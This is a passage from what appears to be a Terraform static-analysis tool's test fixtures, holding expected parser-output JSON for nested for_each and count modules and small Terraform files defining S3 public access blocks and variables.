\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"b\", \"nested_tf_module\": null}}}": { "locals": [ { "__address__": "module.s3_module[\"b\"].module.inner_s3_module2[\"e\"].bucket2", "bucket2": [ "" ] } ], "resource": [ { "aws_s3_bucket_public_access_block": { "var_bucket": { "__address__": "module.s3_module[\"b\"].module.inner_s3_module2[\"e\"].aws_s3_bucket_public_access_block.var_bucket", "__end_line__": 11, "__provider_address__": "", "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ "" ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ] } } } ], "variable": [ { "bucket2": { "__address__": "module.s3_module[\"b\"].module.inner_s3_module2[\"e\"].bucket2", "__end_line__": 16, "__start_line__": 14, "type": [ "string" ] } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module2\", \"foreach_idx\": \"e\", \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 0, \"nested_tf_module\": null}}}": { "locals": [ { "__address__": "module.s3_module2[0].module.inner_s3_module2[\"e\"].bucket2", "bucket2": [ true ] } ], "resource": [ { "aws_s3_bucket_public_access_block": { "var_bucket": { "__address__": "module.s3_module2[0].module.inner_s3_module2[\"e\"].aws_s3_bucket_public_access_block.var_bucket", "__end_line__": 11, "__provider_address__": "", "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ true ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ] } } } ], "variable": [ { "bucket2": { "__address__": "module.s3_module2[0].module.inner_s3_module2[\"e\"].bucket2", "__end_line__": 16, "__start_line__": 14, "type": [ "string" ] } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module2\", \"foreach_idx\": \"e\", \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 1, \"nested_tf_module\": null}}}": { "locals": [ { "__address__": "module.s3_module2[1].module.inner_s3_module2[\"e\"].bucket2", "bucket2": [ true ] } ], "resource": [ { "aws_s3_bucket_public_access_block": { "var_bucket": { "__address__": "module.s3_module2[1].module.inner_s3_module2[\"e\"].aws_s3_bucket_public_access_block.var_bucket", "__end_line__": 11, "__provider_address__": "", "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ true ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ] } } } ], "variable": [ { "bucket2": { "__address__": "module.s3_module2[1].module.inner_s3_module2[\"e\"].bucket2", "__end_line__": 16, "__start_line__": 14, "type": [ "string" ] } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module2\", \"foreach_idx\": \"f\", \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"a\", \"nested_tf_module\": null}}}": { "locals": [ { "__address__": "module.s3_module[\"a\"].module.inner_s3_module2[\"f\"].bucket2", "bucket2": [ "" ] } ], "resource": [ { "aws_s3_bucket_public_access_block": { "var_bucket": { "__address__": "module.s3_module[\"a\"].module.inner_s3_module2[\"f\"].aws_s3_bucket_public_access_block.var_bucket", "__end_line__": 11, "__provider_address__": "", "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ "" ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ] } } } ], "variable": [ { "bucket2": { "__address__": "module.s3_module[\"a\"].module.inner_s3_module2[\"f\"].bucket2", "__end_line__": 16, "__start_line__": 14, "type": [ "string" ] } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module2\", \"foreach_idx\": \"f\", \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"b\", \"nested_tf_module\": null}}}": { "locals": [ { "__address__": "module.s3_module[\"b\"].module.inner_s3_module2[\"f\"].bucket2", "bucket2": [ "" ] } ], "resource": [ { "aws_s3_bucket_public_access_block": { "var_bucket": { "__address__": "module.s3_module[\"b\"].module.inner_s3_module2[\"f\"].aws_s3_bucket_public_access_block.var_bucket", "__end_line__": 11, "__provider_address__": "", "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ "" ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ] } } } ], "variable": [ { "bucket2": { "__address__": "module.s3_module[\"b\"].module.inner_s3_module2[\"f\"].bucket2", "__end_line__": 16, "__start_line__": 14, "type": [ "string" ] } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module2\", \"foreach_idx\": \"f\", \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 0, \"nested_tf_module\": null}}}": { "locals": [ { "__address__": "module.s3_module2[0].module.inner_s3_module2[\"f\"].bucket2", "bucket2": [ true ] } ], "resource": [ { "aws_s3_bucket_public_access_block": { "var_bucket": { "__address__": "module.s3_module2[0].module.inner_s3_module2[\"f\"].aws_s3_bucket_public_access_block.var_bucket", "__end_line__": 11, "__provider_address__": "", "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ true ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ] } } } ], "variable": [ { "bucket2": { "__address__": "module.s3_module2[0].module.inner_s3_module2[\"f\"].bucket2", "__end_line__": 16, "__start_line__": 14, "type": [ "string" ] } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module2\", \"foreach_idx\": \"f\", \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 1, \"nested_tf_module\": null}}}": { "locals": [ { "__address__": "module.s3_module2[1].module.inner_s3_module2[\"f\"].bucket2", "bucket2": [ true ] } ], "resource": [ { "aws_s3_bucket_public_access_block": { "var_bucket": { "__address__": "module.s3_module2[1].module.inner_s3_module2[\"f\"].aws_s3_bucket_public_access_block.var_bucket", "__end_line__": 11, "__provider_address__": "", "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ true ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ] } } } ], "variable": [ { "bucket2": { "__address__": "module.s3_module2[1].module.inner_s3_module2[\"f\"].bucket2", "__end_line__": 16, "__start_line__": 14, "type": [ "string" ] } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/variable.tf\", \"tf_source_modules\": null}": { "variable": [ { "count_var": { "__address__": "count_var", "__end_line__": 4, "__start_line__": 2, "default": [ 2 ] } }, { "foreach_var": { "__address__": "foreach_var", "__end_line__": 8, "__start_line__": 6, "default": [ [ "a", "b" ] ] } } ] } } ================================================ FILE: tests/terraform/graph/variable_rendering/expected_foreach_modules_tf_definitions.json ================================================ { "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\", \"tf_source_modules\": null}": { "module": [ { "s3_module[\"a\"]": { "__end_line__": 12, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"a\", \"nested_tf_module\": null}}" ], "__start_line__": 7, "bucket": [ false ], "bucket2": [ "" ], "source": [ "./module" ], "__address__": "s3_module[\"a\"]" } }, { "s3_module2[0]": { "__end_line__": 19, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 0, \"nested_tf_module\": null}}" ], "__start_line__": 14, "bucket": [ "" ], "bucket2": [ true ], "source": [ "./module" ], "__address__": "s3_module2[0]" } }, { "s3_module[\"b\"]": { "__end_line__": 12, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"b\", \"nested_tf_module\": null}}" ], "__start_line__": 7, "bucket": [ false ], "bucket2": [ "" ], "source": [ "./module" ], "__address__": "s3_module[\"b\"]" } }, { "s3_module2[1]": { "__end_line__": 19, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 1, \"nested_tf_module\": null}}" ], "__start_line__": 14, "bucket": [ "" ], "bucket2": [ true ], "source": [ "./module" ], "__address__": "s3_module2[1]" } } ], "provider": [ { "aws": { "__end_line__": 5, "__start_line__": 1, "alias": [ "test_provider" ], "region": [ "us-west-2" ], "test_provider": [ true ], "__address__": "aws.test_provider" } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"a\", \"nested_tf_module\": null}}": { "module": [ { "inner_s3_module": { "__end_line__": 4, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"a\", \"nested_tf_module\": null}}}" ], "__start_line__": 1, "bucket2": [ false ], "source": [ "./module2" ], "__address__": "module.s3_module[\"a\"].inner_s3_module" } }, { "inner_s3_module2": { "__end_line__": 9, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\", \"name\": \"inner_s3_module2\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"a\", \"nested_tf_module\": null}}}" ], "__start_line__": 6, "bucket2": [ "" ], "source": [ "./module2" ], "__address__": "module.s3_module[\"a\"].inner_s3_module2" } } ], "variable": [ { "bucket": { "__end_line__": 14, "__start_line__": 12, "type": [ "string" ], "__address__": "module.s3_module[\"a\"].bucket" } }, { "bucket2": { "__end_line__": 18, "__start_line__": 16, "type": [ "string" ], "__address__": "module.s3_module[\"a\"].bucket2" } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"b\", \"nested_tf_module\": null}}": { "module": [ { "inner_s3_module": { "__end_line__": 4, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"a\", \"nested_tf_module\": null}}}" ], "__start_line__": 1, "bucket2": [ false ], "source": [ "./module2" ], "__address__": "module.s3_module[\"b\"].inner_s3_module" } }, { "inner_s3_module2": { "__end_line__": 9, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\", \"name\": \"inner_s3_module2\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"a\", \"nested_tf_module\": null}}}" ], "__start_line__": 6, "bucket2": [ "" ], "source": [ "./module2" ], "__address__": "module.s3_module[\"b\"].inner_s3_module2" } } ], "variable": [ { "bucket": { "__end_line__": 14, "__start_line__": 12, "type": [ "string" ], "__address__": "module.s3_module[\"b\"].bucket" } }, { "bucket2": { "__end_line__": 18, "__start_line__": 16, "type": [ "string" ], "__address__": "module.s3_module[\"b\"].bucket2" } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 0, \"nested_tf_module\": null}}": { "module": [ { "inner_s3_module": { "__end_line__": 4, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 0, \"nested_tf_module\": null}}}" ], "__start_line__": 1, "bucket2": [ "" ], "source": [ "./module2" ], "__address__": "module.s3_module2[0].inner_s3_module" } }, { "inner_s3_module2": { "__end_line__": 9, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\", \"name\": \"inner_s3_module2\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 0, \"nested_tf_module\": null}}}" ], "__start_line__": 6, "bucket2": [ true ], "source": [ "./module2" ], "__address__": "module.s3_module2[0].inner_s3_module2" } } ], "variable": [ { "bucket": { "__end_line__": 14, "__start_line__": 12, "type": [ "string" ], "__address__": "module.s3_module2[0].bucket" } }, { "bucket2": { "__end_line__": 18, "__start_line__": 16, "type": [ "string" ], "__address__": "module.s3_module2[0].bucket2" } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 1, \"nested_tf_module\": null}}": { "module": [ { "inner_s3_module": { "__end_line__": 4, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 0, \"nested_tf_module\": null}}}" ], "__start_line__": 1, "bucket2": [ "" ], "source": [ "./module2" ], "__address__": "module.s3_module2[1].inner_s3_module" } }, { "inner_s3_module2": { "__end_line__": 9, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\", \"name\": \"inner_s3_module2\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 0, \"nested_tf_module\": null}}}" ], "__start_line__": 6, "bucket2": [ true ], "source": [ "./module2" ], "__address__": "module.s3_module2[1].inner_s3_module2" } } ], "variable": [ { "bucket": { "__end_line__": 14, "__start_line__": 12, "type": [ "string" ], "__address__": "module.s3_module2[1].bucket" } }, { "bucket2": { "__end_line__": 18, "__start_line__": 16, "type": [ "string" ], "__address__": "module.s3_module2[1].bucket2" } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"a\", \"nested_tf_module\": null}}}": { "locals": [ { "bucket2": [ false ], "__address__": "module.s3_module[\"a\"].module.inner_s3_module.bucket2" } ], "resource": [ { "aws_s3_bucket_public_access_block": { "var_bucket": { "__end_line__": 11, "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ false ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ], "__address__": "module.s3_module[\"a\"].module.inner_s3_module.aws_s3_bucket_public_access_block.var_bucket", "__provider_address__": "" } } } ], "variable": [ { "bucket2": { "__end_line__": 16, "__start_line__": 14, "type": [ "string" ], "__address__": "module.s3_module[\"a\"].module.inner_s3_module.bucket2" } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"b\", \"nested_tf_module\": null}}}": { "locals": [ { "bucket2": [ false ], "__address__": "module.s3_module[\"b\"].module.inner_s3_module.bucket2" } ], "resource": [ { "aws_s3_bucket_public_access_block": { "var_bucket": { "__end_line__": 11, "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ false ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ], "__address__": "module.s3_module[\"b\"].module.inner_s3_module.aws_s3_bucket_public_access_block.var_bucket", "__provider_address__": "" } } } ], "variable": [ { "bucket2": { "__end_line__": 16, "__start_line__": 14, "type": [ "string" ], "__address__": "module.s3_module[\"b\"].module.inner_s3_module.bucket2" } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 0, \"nested_tf_module\": null}}}": { "locals": [ { "bucket2": [ "" ], "__address__": "module.s3_module2[0].module.inner_s3_module.bucket2" } ], "resource": [ { "aws_s3_bucket_public_access_block": { "var_bucket": { "__end_line__": 11, "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ "" ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ], "__address__": "module.s3_module2[0].module.inner_s3_module.aws_s3_bucket_public_access_block.var_bucket", "__provider_address__": "" } } } ], "variable": [ { "bucket2": { "__end_line__": 16, "__start_line__": 14, "type": [ "string" ], "__address__": "module.s3_module2[0].module.inner_s3_module.bucket2" } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 1, \"nested_tf_module\": null}}}": { "locals": [ { "bucket2": [ "" ], "__address__": "module.s3_module2[1].module.inner_s3_module.bucket2" } ], "resource": [ { "aws_s3_bucket_public_access_block": { "var_bucket": { "__end_line__": 11, "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ "" ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ], "__address__": "module.s3_module2[1].module.inner_s3_module.aws_s3_bucket_public_access_block.var_bucket", "__provider_address__": "" } } } ], "variable": [ { "bucket2": { "__end_line__": 16, "__start_line__": 14, "type": [ "string" ], "__address__": "module.s3_module2[1].module.inner_s3_module.bucket2" } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\", \"name\": \"inner_s3_module2\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"a\", \"nested_tf_module\": null}}}": { "locals": [ { "bucket2": [ "" ], "__address__": "module.s3_module[\"a\"].module.inner_s3_module2.bucket2" } ], "resource": [ { "aws_s3_bucket_public_access_block": { "var_bucket": { "__end_line__": 11, "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ "" ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ], "__address__": "module.s3_module[\"a\"].module.inner_s3_module2.aws_s3_bucket_public_access_block.var_bucket", "__provider_address__": "" } } } ], "variable": [ { "bucket2": { "__end_line__": 16, "__start_line__": 14, "type": [ "string" ], "__address__": "module.s3_module[\"a\"].module.inner_s3_module2.bucket2" } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\", \"name\": \"inner_s3_module2\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"b\", \"nested_tf_module\": null}}}": { "locals": [ { "bucket2": [ "" ], "__address__": "module.s3_module[\"b\"].module.inner_s3_module2.bucket2" } ], "resource": [ { "aws_s3_bucket_public_access_block": { "var_bucket": { "__end_line__": 11, "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ "" ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ], "__address__": "module.s3_module[\"b\"].module.inner_s3_module2.aws_s3_bucket_public_access_block.var_bucket", "__provider_address__": "" } } } ], "variable": [ { "bucket2": { "__end_line__": 16, "__start_line__": 14, "type": [ "string" ], "__address__": "module.s3_module[\"b\"].module.inner_s3_module2.bucket2" } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\", \"name\": \"inner_s3_module2\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 0, \"nested_tf_module\": null}}}": { "locals": [ { "bucket2": [ true ], "__address__": "module.s3_module2[0].module.inner_s3_module2.bucket2" } ], "resource": [ { "aws_s3_bucket_public_access_block": { "var_bucket": { "__end_line__": 11, "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ true ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ], "__address__": "module.s3_module2[0].module.inner_s3_module2.aws_s3_bucket_public_access_block.var_bucket", "__provider_address__": "" } } } ], "variable": [ { "bucket2": { "__end_line__": 16, "__start_line__": 14, "type": [ "string" ], "__address__": "module.s3_module2[0].module.inner_s3_module2.bucket2" } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\", \"name\": \"inner_s3_module2\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 1, \"nested_tf_module\": null}}}": { "locals": [ { "bucket2": [ true ], "__address__": "module.s3_module2[1].module.inner_s3_module2.bucket2" } ], "resource": [ { "aws_s3_bucket_public_access_block": { "var_bucket": { "__end_line__": 11, "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ true ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ], "__address__": "module.s3_module2[1].module.inner_s3_module2.aws_s3_bucket_public_access_block.var_bucket", "__provider_address__": "" } } } ], "variable": [ { "bucket2": { "__end_line__": 16, "__start_line__": 14, "type": [ "string" ], "__address__": "module.s3_module2[1].module.inner_s3_module2.bucket2" } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/variable.tf\", \"tf_source_modules\": null}": { "variable": [ { "count_var": { "__end_line__": 4, "__start_line__": 2, "default": [ 2 ], "__address__": "count_var" } }, { "foreach_var": { "__end_line__": 8, "__start_line__": 6, "default": [ [ "a", "b" ] ], "__address__": "foreach_var" } } ] } } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/bad_ref_fallbacks_expected.json ================================================ { "{\"file_path\": \"main.tf\", \"tf_source_modules\": null}": { "locals": [ { "BAD_VAR": ["var.var_not_there"], "BAD_LOCAL": ["local.local_not_there"], "BAD_MODULE": ["module.module_not_there.nope"], "BAD_MODULE2": ["module.module_not_there"], "BAD_MODULE3": ["module.module_not_there.nope.still_not"], "QUOTE_IN_QUOTE_446": ["${filemd5(\"${path.module}/templates/some-file.json\")}"] } ], "resource": [ { "aws_lambda_function": { "test_lambda": { "source_code_hash": ["${filemd5(\"${path.module}/templates/some-file.json\")}"], "__start_line__": 10, "__end_line__": 12, "__address__": "aws_lambda_function.test_lambda" } } } ] } } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/colon_expected.json ================================================ { "{\"file_path\": \"colon.tf\", \"tf_source_modules\": null}": { "variable": [ { "tags": { "default": [[]], "type": [ "${list(object({'key': '${string}', 'value': '${string}', 'propagate_at_launch': '${bool}'}))}" ], "__start_line__": 1, "__end_line__": 4, "__address__": "tags" } } ] } } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/count_examples/module_foreach_module_foreach_resource_count/level1_module/main.tf ================================================ module "level2" { source = "../level2_module" for_each = var.file_map1_level1 times_to_duplicate_bucket = var.number_of_required_resources_var } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/count_examples/module_foreach_module_foreach_resource_count/level1_module/variables.tf ================================================ variable "file_map1_level1" { type = map(string) } variable "number_of_required_resources_var" { type = number } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/count_examples/module_foreach_module_foreach_resource_count/level2_module/main.tf ================================================ resource "aws_s3_bucket_object" "this_file" { count = var.times_to_duplicate_bucket bucket = "your_bucket_name" key = each.key source = each.value } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/count_examples/module_foreach_module_foreach_resource_count/level2_module/variables.tf ================================================ variable "times_to_duplicate_bucket" { type = number } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/count_examples/module_foreach_module_foreach_resource_count/main.tf ================================================ locals { groups = { "blue" = "blue" "green" = "green" } files_map1 = { "test1.txt" = "test1.txt" "test2.txt" = "test2.txt" } number_of_required_resources = 2 } # Expected resources: # module.level1["blue"].module.level2["test1.txt"].aws_s3_bucket_object.this_file["test3.txt"] # 